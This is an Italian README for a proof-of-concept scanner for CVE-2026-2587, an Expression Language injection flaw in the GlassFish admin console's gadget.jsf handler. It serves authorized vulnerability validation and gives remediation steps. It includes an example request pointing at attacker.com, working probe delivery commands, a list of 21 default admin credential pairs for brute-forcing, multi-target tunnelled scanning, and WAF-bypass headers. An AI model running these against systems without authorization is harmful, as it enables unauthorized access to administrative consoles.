Validatore PoC per CVE-2026-2587 per Eclipse GlassFish EL Injection RCE nel gestore gadget.jsf della console di amministrazione. Scanner di vulnerabilità sicuro e autenticato per test autorizzati.
Validatore PoC sicuro per CVE-2026-2587, una vulnerabilità critica di EL Injection / RCE che colpisce la gestione dei gadget della console amministrativa di Eclipse GlassFish tramite /common/gadgets/gadget.jsf.
Questo strumento aiuta i team di sicurezza a convalidare l'esposizione a CVE-2026-2587 in ambienti autorizzati utilizzando un canarino EL aritmetico benigno.
Assegnato da: Eclipse Foundation (CNA) · Pubblicato: 19 maggio 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE-917 — Injection del Linguaggio Espressione nell'avviso pubblico al 21 maggio 2026 nell'avviso pubblico al 21 maggio 2026 la versione è solo contesto di instradamento/segnalazione; la sentenza richiede prova.
SconosciutoSconosciutoUna vulnerabilità critica di esecuzione remota di codice esiste nel gestore gadget della console amministrativa di GlassFish. L'applicazione elabora file .xml recuperati da un URL fornito tramite il parametro di query gadget= e valuta i valori forniti dall'utente all'interno degli attributi <ModulePrefs> attraverso il motore Java Expression Language (EL) senza sanitizzazione o escaping.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Se l'XML contiene `#{7*7}` in un attributo `<ModulePrefs title="">`, GlassFish lo valuta lato server e restituisce `49` — confermando l'esecuzione di EL. Una catena RCE completa segue attraverso l'accesso di EL al runtime Java.
Gli attuali avvisi pubblici non pubblicano un confine di versione affetta o corretta.
Questo validatore è quindi proof-first: identifica GlassFish e
riporta i metadati della versione, ma non classifica un obiettivo come vulnerabile basandosi solo sulla stringa di versione.
---
## Come Funziona

Il percorso di validazione sicura ospita una sonda XML benigna, invia una richiesta autenticata alla console di amministrazione verso `gadget.jsf`, consente a GlassFish di recuperare quell'XML dall'URL di callback e verifica se il canarino `<ModulePrefs title="">` valuta da `#{7*7}` a `49`.
**Punto di iniezione confermato vs. non confermato:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Scenario | Autenticazione necessaria? |
|---|---|
Colpo diretto a gadget.jsf | Sì — autenticazione FORM, pagina di login 200 |
| Attacco CSRF nel mondo reale | No — sfrutta la sessione attiva dell'amministratore |
| Questo validatore | Sì — --cookie o --username/--password |
| Verifica esposizione non autenticata | No — lo script lo testa automaticamente |
Il vettore CVSS PR:N / UI:R significa:
PR:N — l'attaccante non necessita di nessuna credenziale propriaUI:R — un amministratore connesso deve interagire (consegna CSRF)Per la validazione in laboratorio, salta del tutto il CSRF — usa direttamente la tua sessione di amministratore.
Requisiti: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Contenuti del repository:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Caveat: GHSA elenca ancora le versioni affette e corrette come sconosciute.
omnifish/glassfish:7.0.15è un buon candidato per il laboratorio — non una build garantita vulnerabile. La primitiva di validazione rimane il canarino aritmetico: se#{7*7}restituisce49, EL è attivo.
docker compose -f docker-compose.lab.yml up
Avvia GlassFish 7.0.15 con porte vincolate solo a `127.0.0.1` e `host.docker.internal` preconfigurato in modo che il container possa raggiungere il tuo server XML locale.
### Opzione B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Console di amministrazione: https://localhost:4848 · Login: admin / admin
(Certificato autofirmato — il browser mostrerà un avviso.)
In un secondo terminale:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Verifica la raggiungibilità dal punto di vista del container:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
Accedi prima alla console di amministrazione (sessione browser o --cookie), poi:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnerabile** — EL valutato in `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnerabile** — EL valutato nel corpo CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Non vulnerabile / EL non valutato |
| *(no output)* | GlassFish non ha mai recuperato l'XML — controlla la raggiungibilità del callback |
> Il corpo CDATA rimane tipicamente grezzo anche su build vulnerabili; un risultato positivo di `TITLE` da solo è sufficiente per confermare la scoperta.
---
### Validazione automatizzata sul laboratorio locale```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Il repository è fornito con probe.xml pronto per l'uso. Puoi anche generararne uno nuovo in qualsiasi momento — utile quando si desidera un prefisso canary personalizzato o valori casuali in modo che il probe sia unico per ogni impegno.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
Output dopo la scrittura su un file:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
Da utilizzare quando GlassFish è in esecuzione localmente o in Docker sulla stessa macchina.
Prendi il tuo JSESSIONID dagli Strumenti di sviluppo del browser → Applicazione → Cookie mentre hai effettuato l'accesso alla console di amministrazione, poi:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` si risolve alla macchina host dall'interno di Docker.
> Il container GlassFish recupera il tuo probe XML tramite questo indirizzo.
---
### Credenziali```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Se il login tramite modulo fallisce, lo script procede e prova comunque l'endpoint. Se anche questo fallisce, stampa istruzioni passo-passo per ottenere un cookie di sessione.
Quando non si hanno affatto credenziali, --brute prova 21 coppie di credenziali predefinite comuni di GlassFish in ordine e utilizza la prima che ha successo. Mutualmente esclusivo con --username e --cookie.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
Se viene trovata una coppia valida, viene stampata nell'output e registrata nella colonna `brute_creds` del CSV. Se tutte le coppie falliscono, la scansione termina con `AUTH_REQUIRED`.
Alcune build di GlassFish restituiscono `/login.jsf` dopo un POST di form valido. Il validatore non considera quell'URL da solo come fallimento; conferma la sessione sondando l'endpoint del gadget admin e verificando che la risposta non sia il form di login.
Elenco delle credenziali tentate (in ordine):
| Username | Password |
|---|---|
| `admin` | `admin` |
| `admin` | *(vuoto)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### Remoto tramite Cloudflare Tunnel
Nessun account richiesto per un tunnel rapido.
**Passaggio 1 — Installa cloudflared:**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Passaggio 2 — Avvia tunnel:```bash
cloudflared tunnel --url http://localhost:8000
**Passaggio 3 — Esegui il validatore:**
Usa lo stesso hostname generato con `http://` per l'URL di callback. Questo evita
errori del trust-store JVM nei container di laboratorio GlassFish che non possono convalidare la
catena di certificati TLS di Cloudflare. Se incolli l'URL `https://` generato
da trycloudflare, il validatore riscrive quel callback in `http://` e stampa
un avviso. La barra finale è opzionale; il validatore aggiunge automaticamente `/canary.xml` e
i percorsi XML specifici per ogni test.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Utilizza quando non puoi eseguire un server locale. La JVM target di GlassFish deve essere in grado di recuperare direttamente questo URL, quindi HTTP semplice su un VPS/server web fidato è spesso più affidabile di host HTTPS la cui catena di certificati non è fidata dalla JVM target.
Il flag --xml-url bypassa completamente il server integrato.
Genera un nuovo probe XML, quindi ospitalo:
# Step 1 — generate
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
# Step 2 — host it (pick one)
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel
scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
# Step 3 — run (use the --prefix/--left/--right from the generate output)
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/probe.xml \
--prefix CVE2587 --left 7 --right 7 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
> `--prefix`, `--left`, `--right` devono corrispondere ai valori presenti nel tuo file XML hostato, in modo che lo script sappia quale token valutato cercare nella risposta.
---
### Remoto tramite ngrok (ultima risorsa)
Usa ngrok solo come ultima opzione per target remoti. Il livello gratuito può bloccare le richieste lato server che non provengono da un browser restituendo una pagina HTML di avviso interstiziale. In tal caso, GlassFish recupera la pagina di avviso invece del tuo `probe.xml` e il validatore può classificare la risposta come una pagina di login o un risultato inconcludente. Preferisci Cloudflare Tunnel, un VPS o un host web statico che la JVM di destinazione possa recuperare correttamente, a meno che tu non abbia un account ngook a pagamento che bypassa questa restrizione.
**Passo 1 — Installa ngrok:**```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
```
**Passo 2 — Esponi il tuo server locale:**```bash
# Terminal 1
ngrok http 8000
# → Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000
```
**Passaggio 3 — Esegui il validator:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
> Sostituisci `abc123.ngrok-free.app` con il tuo URL ngrok effettivo.
> Lo script avvia il proprio server XML su `:8000`; ngrok inoltra da internet a esso.
---
### Solo controllo non autenticato
Verifica se l'endpoint è accidentalmente esposto senza autenticazione prima di eseguire una scansione completa autenticata. Termina immediatamente dopo la Fase 1.```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--check-unauth-only --insecure
```
## Utilizzo — Target multipli
### Formato del file dei Target
Il repository include `targets.txt.example` come modello. Copialo e modificalo:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
```
Formato — un target per riga, le righe che iniziano con `#` e le righe vuote vengono ignorate, le credenziali per target sovrascrivono le opzioni globali `--username`/`--password`:```
# targets.txt
# format: URL
https://server1:4848
# format: URL username password
https://server2:4848 admin password123
https://server3:4848 ops secret99
# format: URL username:password
https://server4:4848 admin:admin
# commented-out targets are skipped
# https://server5:4848
```
Esegui contro tutti i target:```bash
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
```
> Globali `--username`/`--password` si applicano ai target senza credenziali per riga.
> Credenziali per riga hanno priorità sulle globali.
---
### Scansione parallela
Usa `--threads` per scansionare più target contemporaneamente.
Il server XML integrato è condiviso tra tutti i thread.```bash
# Scan 10 targets at once
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 10 \
--insecure \
--csv results.csv --json
```
> Numero di thread consigliato:
> - Laboratorio locale: fino a `10`
> - Obiettivi remoti via internet: `3–5` (rispetta i limiti di frequenza)
> - Singolo obiettivo: `1` (default)
---
## Output Formats
### Console
Output predefinito leggibile dall'uomo. Aggiungi `--verbose` per vedere i risultati per singolo caso di test.```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
```
Riepilogo multi-target:```
════════════════════════════════════════════════════════════════
SCAN SUMMARY — 4 target(s)
════════════════════════════════════════════════════════════════
Vulnerable : 2
Not vulnerable : 1
Auth required : 1
Error / other : 0
════════════════════════════════════════════════════════════════
```
---
### CSV```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
```
CSV colonne:
| Colonna | Descrizione |
|---|---|
| `target` | URL di destinazione |
| `timestamp` | Ora della scansione in UTC ISO-8601 |
| `verdict` | `VULNERABLE` / `NOT_VULNERABLE` / `AUTH_REQUIRED` / `VULNERABLE_UNAUTH` / `ERROR` |
| `vulnerable_count` | Numero di casi di test che hanno confermato la valutazione EL |
| `total_tests` | Numero totale di casi di test eseguiti |
| `unauth_exposed` | `YES` se l'endpoint ha risposto senza autenticazione |
| `active_endpoint` | URL dell'endpoint utilizzato per il test |
| `server_header` | Intestazione `Server:` di GlassFish |
| `detected_version` | Stringa di versione se rilevata |
| `version_source` | Fonte del valore della versione: header, pagina REST/login o `asadmin-api` |
| `version_affected` | Stato della versione secondo advisory. Attualmente `UNKNOWN` perché le fasce pubbliche affette/corrette non sono pubblicate |
| `admin_console` | `present`, `not_found` o `unknown` |
| `gadget_endpoint` | `present`, `blocked`, `not_found` o `unknown` |
| `proof` | `evaluated`, `not_evaluated` o `not_attempted` |
| `TC-01` … `TC-10` | Risultato per test: `VULNERABLE` / `NOT_VULNERABLE` / `INCONCLUSIVE` / `SKIPPED` |
| `notes` | Messaggio di errore se la scansione è fallita |
**Esempi di righe:**```csv
target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes
https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,...,
https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,...,
https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
```
### JSON```bash
--json
```
Singolo bersaglio:```json
{
"active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf",
"admin_console": "present",
"detected_version": "Eclipse GlassFish 7.0.15",
"gadget_endpoint": "present",
"proof": "evaluated",
"server_header": "Eclipse GlassFish 7.0.15",
"target": "https://localhost:4848",
"tested_paths": [
"https://localhost:4848/common/gadgets/gadget.jsf",
"https://localhost:4848/admin/common/gadgets/gadget.jsf",
"https://localhost:4848/console/common/gadgets/gadget.jsf",
"https://localhost:4848/glassfish/common/gadgets/gadget.jsf",
"https://localhost:4848/asadmin/common/gadgets/gadget.jsf"
],
"timestamp": "2026-05-21T10:00:00+00:00",
"verdict": "VULNERABLE",
"version_affected": "UNKNOWN",
"version_source": "asadmin-api",
"vulnerable_count": 9,
"total_tests": 10,
"unauth_result": "AUTH_REQUIRED",
"tc_results": [
{"name": "TC-01 Basic multiply", "expr": "#{7*7}",
"expects": "49", "status": "VULNERABLE"},
{"name": "TC-02 Addition", "expr": "#{1337+2587}",
"expects": "3924", "status": "VULNERABLE"}
]
}
```
Target multipli restituiscono un array JSON.
---
### Combinare gli output
Tutti i formati di output sono indipendenti — combinali liberamente:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
```
---
## Opzioni avanzate
### Rilevamento endpoint e versione
Per impostazione predefinita, lo scanner testa il percorso condiviso del gadget GlassFish sotto le radici comuni dell'interfaccia di amministrazione:```text
/common/gadgets/gadget.jsf
/admin/common/gadgets/gadget.jsf
/console/common/gadgets/gadget.jsf
/glassfish/common/gadgets/gadget.jsf
/asadmin/common/gadgets/gadget.jsf
```
Impara anche un contesto root GUI non predefinito dalle intestazioni di reindirizzamento `Location`
e antepone tale root prima del test. Usa valori `--path` ripetibili solo quando
vuoi sovrascrivere questa lista di scoperta.
Il rilevamento della versione viene tentato dalle intestazioni di risposta, dall'API REST di gestione,
dalla pagina di login e, dopo un login riuscito, da `/__asadmin/version.json` o
`/__asadmin/version`. I dati sulla versione migliorano solo il routing e il reporting; lo
scanner lascia `version_affected` come `UNKNOWN` fino a quando i record pubblici di advisory
pubblicano un confine di versione.
---
### Valori Canary Personalizzati
Abbina il validator a un XML creato manualmente usando `--prefix`, `--left`, `--right`.
Richiesto quando si usa `--xml-url` con un proprio file ospitato.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
### Intestazioni Personalizzate
Aggiungi intestazioni arbitrarie — utili per bypassare WAF, routing del bilanciatore di carico o test dietro un proxy inverso.```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--header "X-Forwarded-For: 127.0.0.1" \
--header "X-Original-URL: /common/gadgets/gadget.jsf" \
--header "X-Custom-Header: value" \
--proxy http://127.0.0.1:8080 \
--insecure
```
---
## Casi di Test
Il validatore esegue 10 distinte sonde EL, ciascuna che conferma una diversa capacità:
| # | Payload | Previsto | Cosa dimostra |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canary aritmetico di base |
| TC-02 | `#{1337+2587}` | `3924` | Operatore di addizione |
| TC-03 | `#{31337*271}` | `8492327` | Moltiplicazione grande resistente alle collisioni |
| TC-04 | `#{9999-1337}` | `8662` | Operatore di sottrazione |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Parentesi nidificate / precedenza degli operatori |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Condizionale / ternario — esecuzione del flusso di controllo |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Accesso ai metodi delle stringhe |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Chiamate a metodi concatenati |
| TC-09 | `#{17 mod 5}` | `2` | Operatore parola chiave EL |
| TC-10 | `#{100*100}` | `10000` | Conferma aritmetica aggiuntiva |
TC-06, TC-07 e TC-08 sono i più significativi — superarli significa che il motore EL esegue **metodi API di stringhe e logica condizionale**, il diretto precursore della catena RCE completa.
---
## Interpretazione dell'Output
| Stato | Significato |
|---|---|
| `VULNERABLE` | Espressione EL valutata — istanza confermata vulnerabile |
| `VULNERABLE_UNAUTH` | Endpoint esposto senza autenticazione — peggio della CVE base |
| `NOT_VULNERABLE` | Espressione riflessa letteralmente — EL non valutato |
| `AUTH_REQUIRED` | Endpoint ha restituito pagina di login — controlla cookie o credenziali |
| `INCONCLUSIVE` | Risposta ricevuta ma canary non trovato — vedi sotto |
| `ERROR` | Richiesta fallita — problema di rete / TLS |
`detected_version` e `version_source` sono contesto di supporto. Poiché gli advisory pubblici attualmente elencano le versioni affette e corrette come sconosciute, non trattare `version_affected=UNKNOWN` come risultato negativo. L'unica evidenza positiva è un token di prova valutato.
**Risoluzione dei problemi INCONCLUSIVE:**
| Sintomo | Causa | Soluzione |
|---|---|---|
| `XML hits: 0` | GlassFish non ha mai recuperato il tuo XML | `--callback-url` non raggiungibile dal target |
| `XML hits: 1+` ma nessuna corrispondenza | EL valutato ma campo sbagliato | Previsto per contenuto CDATA |
| Reindirizzamento di autenticazione a metà esecuzione | Sessione scaduta | Prendi un nuovo `JSESSIONID` dal browser |
| Il POST di login reindirizza a `j_security_check` | Password errata | Usa `--cookie` invece |
---
## Verifica Manuale
Non è richiesto Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
<ModulePrefs title="PROBE_#{7*7}_END"/>
<Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF
# Step 2 — serve it
python3 -m http.server 8000 --directory probe &
# Step 3 — hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# Vulnerable output:
# PROBE_#{7*7}_END ← raw (CDATA — expected)
# PROBE_49_END ← evaluated ✅ VULNERABLE
```
---
## Rimedio
| Azione | Dettagli |
|---|---|
| **Aggiornamento** | Applica la build corretta pubblicata dal vendor quando Eclipse/NVD/GHSA pubblicano un confine di versione patchato |
| **Disabilita gestore gadget** | Blocca `/common/gadgets/gadget.jsf` sul WAF/firewall se non utilizzato |
| **Firewall console amministrativa** | Limita la porta `4848` solo a IP fidati |
| **Protezioni CSRF** | Assicurati dell'attributo `SameSite` sui cookie delle sessioni amministrative |
| **Regola WAF** | Blocca `#{` e `${` nei corpi XML che raggiungono l'endpoint del gadget |
---
## Riferimenti
| Risorsa | Link |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE Tracking | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish Source | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Segnalatore | Camilo G. (DeepSecurity Perú) — [@SeguridadBlanca](https://x.com/SeguridadBlanca) |
---
## Dichiarazione di non responsabilità
Questo repository è destinato esclusivamente a **test di sicurezza e ricerca autorizzati**.
- Esegui questo strumento solo su sistemi di tua proprietà o per cui hai **esplicita autorizzazione scritta** per il test.
- Il validatore esegue **solo valutazione EL benigna** — nessuna esecuzione di comandi, nessuna reverse shell, nessun caricamento di file, nessuna persistenza.
- L'autore non si assume alcuna responsabilità per un uso improprio.
- È stata seguita una divulgazione responsabile — segnalato a dicembre 2025 e pubblicato a maggio 2026.
**Layout del repository:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← validator script
├── probe.xml ← ready-to-host static probe XML (#{7*7} canary)
├── targets.txt.example ← multi-target file template
└── README.md
```
---
<p align="center">
<a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>